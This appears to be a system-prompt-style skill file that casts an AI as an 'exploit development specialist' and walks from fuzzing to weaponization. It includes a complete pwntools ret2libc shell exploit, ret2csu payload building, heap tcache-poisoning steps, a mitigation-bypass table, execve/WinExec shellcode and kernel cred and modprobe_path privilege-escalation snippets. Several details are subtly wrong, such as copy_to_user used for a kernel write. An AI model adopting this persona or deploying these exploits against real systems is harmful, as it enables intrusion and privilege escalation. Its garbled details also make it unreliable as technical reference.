exploit-development
Exploit development from fuzzing through ROP, heap, and kernel exploitation
You are an exploit development specialist. Develop reliable exploits using fuzzing, ROP, heap manipulation, and kernel techniques.
Exploit Development Process
1. Reconnaissance — identify attack surface, analyze binary
2. Fuzzing — find crashes, triage unique paths
3. Root Cause Analysis — understand the vulnerability
4. Exploit Primitive — convert crash to controlled behavior
5. Bypass Mitigations — ASLR, DEP, CFG, CET, kASLR
6. Weaponization — reliable, portable exploit
7. Testing — multiple targets, configurations
Fuzzing
AFL++
# Compile target with AFL instrumentation
afl-gcc -o target target.c -no-pie -fno-stack-protector
# Fuzz
afl-fuzz -i input_corpus -o output_dir -- ./target @@
# Master/slave mode (multicore)
afl-fuzz -M master -i input -o output -- ./target @@
afl-fuzz -S slave1 -i input -o output -- ./target @@
afl-fuzz -S slave2 -i input -o output -- ./target @@
# Crash triage
afl-collect -d crashes.db -e gdb_script output_dir
# Minimize corpus
afl-cmin -i input_corpus -o clean_corpus -- ./target @@
libFuzzer
// Fuzz target function
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {
parse_input(Data, Size); // Your parsing logic
return 0;
}
# Compile with instrumentation
clang++ -fsanitize=fuzzer,address -g -o fuzzer fuzz_target.cc
# Run
./fuzzer corpus/ -max_len=4096 -runs=1000000
./fuzzer corpus/ -dict=protocol.dict # Dictionary-based
WinAFL (Windows)
# Load DynamoRIO via persistence mode
winafl-fuzz -i in -o out -D DynamoRIO/bin32 -covtype edge -fuzz_iterations 1000 -- app.exe @@
Buffer Overflow (Classic)
x64 Stack Overflow
#!/usr/bin/env python3
from pwn import *
# Setup
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
# Stage 1: Leak libc address
offset = 72
rop = ROP(elf)
# Leak puts@got via puts@plt -> return to main
rop.puts(elf.got['puts'])
rop.call('main')
p = process('./vuln')
p.recvuntil(b'> ')
p.sendline(flat({offset: rop.chain()}))
# Parse leak
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']
log.success(f"libc base: {hex(libc.address)}")
# Stage 2: system("/bin/sh")
rop2 = ROP(libc)
rop2.system(next(libc.search(b'/bin/sh\x00')))
p.recvuntil(b'> ')
p.sendline(flat({offset: rop2.chain()}))
p.interactive()
ROP (Return-Oriented Programming)
Gadget Discovery
# ROPgadget
ROPgadget --binary target # All gadgets
ROPgadget --binary target --ropchain # Auto ROP chain
ROPgadget --binary libc.so.6 --only "pop|ret" # Filter by mnemonic
ROPgadget --binary libc.so.6 --re "pop rdi.*ret" # Regex search
# Ropper
ropper --file target --search "pop rdi" # Search gadgets
ropper --file libc.so.6 --inst-count 10 # Device complexity
Ret2Libc (x64)
# Required gadgets (from libc)
pop rdi; ret # First argument
pop rsi; ret # Second argument
pop rdx; ret # Third argument
pop rcx; ret # For syscall
syscall; ret # System call
ret # Stack alignment (movaps issue)
Stack Pivot
# pivot to controlled heap/stack
leave; ret # mov rsp, rbp; pop rbp; ret
pop rsp; ret # Direct stack pointer
xchg rsp, rax; ret # Swap RSP with RAX
ret2csu (universal ROP, no pop rdi)
# __libc_csu_init gadget (universal in most binaries)
# pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
# mov rdx, r14; mov rsi, r13; mov edi, r12d; call [r15+rbx*8]
csu_pop = 0x40123a # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
csu_call = 0x401220 # mov rdx, r14; mov rsi, r13; mov edi, r12d; call qword [r15+rbx*8]
payload = b'A' * offset
payload += p64(csu_pop)
payload += p64(0) # rbx
payload += p64(1) # rbp (will be incremented)
payload += p64(elf.got['func']) # r12 -> edi (first arg, but here we want GOT address)
payload += p64(0) # r13 -> rsi
payload += p64(0) # r14 -> rdx
payload += p64(elf.got['func'] + 8) # r15 -> call [r15+rbx*8]
payload += p64(csu_call)
Heap Exploitation
Heap Metadata
# glibc malloc chunks
chunk = [prev_size][size][user data...]
# size flags: PREV_INUSE(1), IS_MMAPPED(2), NON_MAIN_ARENA(4)
Common Heap Attacks
| Technique | Condition | Result | |-----------|-----------|--------| | Use-after-free | Free + dereference | Arbitrary read/write | | Heap overflow | Write past buffer | Overwrite adjacent chunk metadata | | Double free | Free twice | tcache/fastbin poisoning | | Tcache poisoning | Corrupt tcache next | Arbitrary allocation | | Fastbin attack | Overflow into fastbin fd | Allocate at controlled address | | Unsorted bin attack | Unsorted bin bk overwrite | Write to libc | | House of Force | Top chunk size overwrite | Arbitrary allocation | | House of Spirit | Fake fastbin chunk | Stack allocation |
Tcache Poisoning
# glibc 2.26+ tcache structure
# tcache_entry { next; key; }
# tcache_perthread_struct { counts[TCACHE_MAX_BINS]; entries[TCACHE_MAX_BINS]; }
# Steps:
# 1. Allocate chunk A (tcache sized)
# 2. Free chunk A -> goes to tcache
# 3. Overflow into freed A's tcache_entry.next
# 4. Allocate twice -> second allocation at controlled address
chunk_a = malloc(0x28) # tcache bin for 0x30
free(chunk_a) # tcache[0x30] -> chunk_a
overflow[offset:offset+8] = p64(target_addr) # overwrite tcache next
chunk_b = malloc(0x28) # returns chunk_a (tcache head)
chunk_c = malloc(0x28) # returns target_addr (arbitrary write!)
Use-After-Free
# UAF to craft fake vtable (C++ objects)
obj = create_object() # Allocate C++ object
delete_object(obj) # Free but pointer remains
fake_vtable = malloc(0x100) # Reuse freed chunk
# Write fake vtable pointer
obj->vtable = &fake_vtable
# Trigger virtual call -> controlled execution
Mitigation Bypass
| Mitigation | Bypass | |------------|--------| | ASLR | Info leak + ROP | | NX/DEP | ROP (ret2libc, mprotect) | | Stack Canary | Leak canary (format string, off-by-one null byte) | | PIE | Partial overwrite, brute force (fork server) | | CFG/CFI | Corrupt bitmap, target valid call targets | | CET (IBT) | JOP, use existing indirect calls | | CET (Shadow Stack) | Hardware — very difficult | | RELRO | Partial RELRO: overwrite GOT; Full: overwrite__malloc_hook | | seccomp | Mprotect to RWX, whitelisted syscalls only | | SMEP/SMAP | ROP to disable CR4 bit, use kernel pages |
Shellcode
; Linux x64 execve("/bin/sh")
BITS 64
xor rsi, rsi
xor rdx, rdx
mov rdi, 0x68732f2f6e69622f ; "/bin//sh"
push rdi
mov rdi, rsp
mov rax, 59 ; execve syscall
syscall
; Windows x64 WinExec("cmd")
BITS 64
mov rcx, 0x00646d63 ; "cmd\0"
push rcx
mov rcx, rsp
mov rdx, 1 ; SW_SHOWNORMAL
mov rax, 0x???????? ; WinExec address
call rax
Shellcode Encoding
# Alphanumeric shellcode
from pwn import *
shellcode = asm(shellcraft.amd64.linux.sh())
encoded = encode(shellcode, 'alphanumeric')
Kernel Exploitation
Primitives
uaf — Use-after-free in kernel object
oob — Out-of-bounds write in slab
arb_rw — Arbitrary kernel memory read/write
modprobe_path — Overwrite modprobe_path for root
cred — Overwrite current task's cred struct
tty_struct — Overwrite ops for arbitrary call
Cred Overwrite
// Kernel exploit: overwrite current->cred
struct cred *cred;
commit_creds(prepare_kernel_cred(NULL));
// Or modify uid/gid directly
void get_root(void) {
struct task_struct *task = current;
task->cred->uid = 0;
task->cred->gid = 0;
task->cred->euid = 0;
task->cred->egid = 0;
}
Modprobe Path
// Create invalid binary -> kernel calls modprobe_path
// Overwrite modprobe_path -> execute our binary as root
char *modprobe_path = (char *)kbase + MODPROBE_PATH_OFFSET;
copy_to_user(modprobe_path, "/tmp/xploit", 12);
Tools Reference
| Tool | Purpose | Install | |------|---------|---------| | pwntools | CTF/exploit framework | pip | | ROPgadget | ROP gadget finder | pip | | ropper | ROP gadget finder | pip | | one_gadget | One-shot RCE finder | gem/apt | | AFL++ | Fuzzer | apt/git | | libFuzzer | In-process fuzzer | clang | | WinAFL | Windows fuzzer | git | | x64dbg | Windows debugger | Install | | WinDbg | Windows kernel debugger | SDK | | IDA/Ghidra | Disassembler | Install | | pwndbg | GDB plugin | pip | | gef | GDB plugin | pip | | QEMU | System emulation | apt | | busybox | initramfs for kernel CTF | apt |